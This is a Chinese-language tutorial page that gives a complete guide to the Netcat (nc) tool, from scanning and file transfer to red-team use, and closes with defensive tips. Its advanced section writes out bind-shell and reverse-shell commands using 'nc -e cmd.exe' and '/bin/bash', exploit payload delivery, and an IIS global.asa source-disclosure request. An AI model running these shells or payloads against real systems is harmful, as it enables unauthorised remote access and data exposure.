Windows XP Windows 7 Windows 2003 Windows Vista Windows 綜合教學 Linux 系統教學
Windows 10 Windows 8 Windows 2008 Windows NT Windows Server 電腦軟體教學
您现在的位置: Windows教程網 >> Windows教程 >  >> Windows 綜合教學 >> 系統指令

Netcat (nc) 指令完整指南:網路安全界的瑞士刀

編輯:系統指令

Netcat (nc) 被譽為「網路安全界的瑞士刀」,以極小的程式體積提供 TCP/UDP 連線讀寫、連接埠掃描、Banner 抓取、檔案傳輸、反向 Shell、蜜罐模擬等強大功能。本文系統整理 nc 參數、基本用法與進階實戰技巧。

基本語法與常用參數

nc [-選項] 主機 埠 [埠範圍]        # 連線模式
nc -l -p 埠 [-選項] [主機] [埠]      # 監聽模式
參數說明
-e 程式連線建立後執行指定程式(極高風險,常用於後門)
-g / -G來源路由跳點/指標
-h顯示說明
-i 秒數傳送間隔延遲
-l監聽模式(伺服器端)
-n直接用 IP,不做 DNS 解析
-o 檔案十六進位記錄傳輸資料
-p 埠本地埠號
-r隨機本地/遠端埠
-s IP指定來源 IP
-uUDP 模式(預設 TCP)
-v / -vv詳細/極詳細輸出
-w 秒數逾時時間
-z零 I/O 模式(掃描用,不建立完整連線)

一、基本應用

1. 連線測試 / Banner Grabbing

nc -nvv 192.168.1.100 80
HEAD / HTTP/1.0
# 取得 HTTP 伺服器資訊

2. 連接埠掃描

# TCP 掃描 1-1000 埠
nc -v -z -w2 192.168.1.100 1-1000

# UDP 掃描
nc -u -v -z -w2 192.168.1.100 1-1000

3. 監聽埠(模擬服務/蜜罐)

nc -l -v -p 80            # 監聽 TCP 80,顯示連線資訊
nc -l -p 80 > log.txt     # 記錄收到的資料
nc -L -p 80               # 持續監聽(Windows 版 -L 參數)

4. 檔案傳輸

# 接收端
nc -l -p 5277 > received_file.exe

# 發送端
nc -nv 192.168.1.100 5277 < send_file.exe

二、高階實戰(紅隊/滲透測試常用)

1. 綁定 Shell(目標機開啟監聽)

# 目標機
nc -l -p 5354 -t -e cmd.exe        # Windows
nc -l -p 5354 -e /bin/bash         # Linux

# 攻擊機連線
nc -nv 192.168.1.100 5354

2. 反向 Shell(目標機主動連回攻擊機,穿透防火牆)

# 攻擊機先監聽
nc -l -v -p 5354

# 目標機執行
nc -t -e cmd.exe 192.168.1.200 5354   # Windows
nc -e /bin/bash 192.168.1.200 5354    # Linux

3. 滲透測試載荷傳遞

type exploit.txt | nc -nvv 192.168.1.100 80
nc -nvv 192.168.1.100 80 < exploit.txt > result.log

4. HTTP 請求偽造 / IIS 漏洞測試

# 建立請求檔 request.txt
GET /global.asa HTTP/1.0
Host: 192.168.1.100
Translate: f

# 發送
type request.txt | nc -nvv 192.168.1.100 80

版本差異提醒

  • 原版 (Hobbit, ~60KB):支援 -e 選項、完整功能。
  • 精簡版 (紅與黑編譯, ~10KB):不支援 -e、無法建立 Shell,僅適合掃描/傳輸。
  • Ncat (Nmap 專案):現代重寫版,支援 SSL、Proxy、連線代理、更安全的 --exec,建議優先使用。

安全防護建議

  • 防火牆封鎖非必要對外埠,限制出站連線。
  • EDR/防毒軟體偵測 nc -e cmd.exe 等惡意用法。
  • 審計異常的 nc 進程與網路連線。
  • 最小權限原則:一般使用者無需 nc,移除或限制執行權限。

nc 功能極強,合法用途包括網路除錯、服務測試、檔案傳輸、自動化腳本。深入掌握其參數與組合技巧,能大幅提升網路故障排除與滲透測試效率。請務必在合法授權範圍內使用。

Copyright © Windows教程網 All Rights Reserved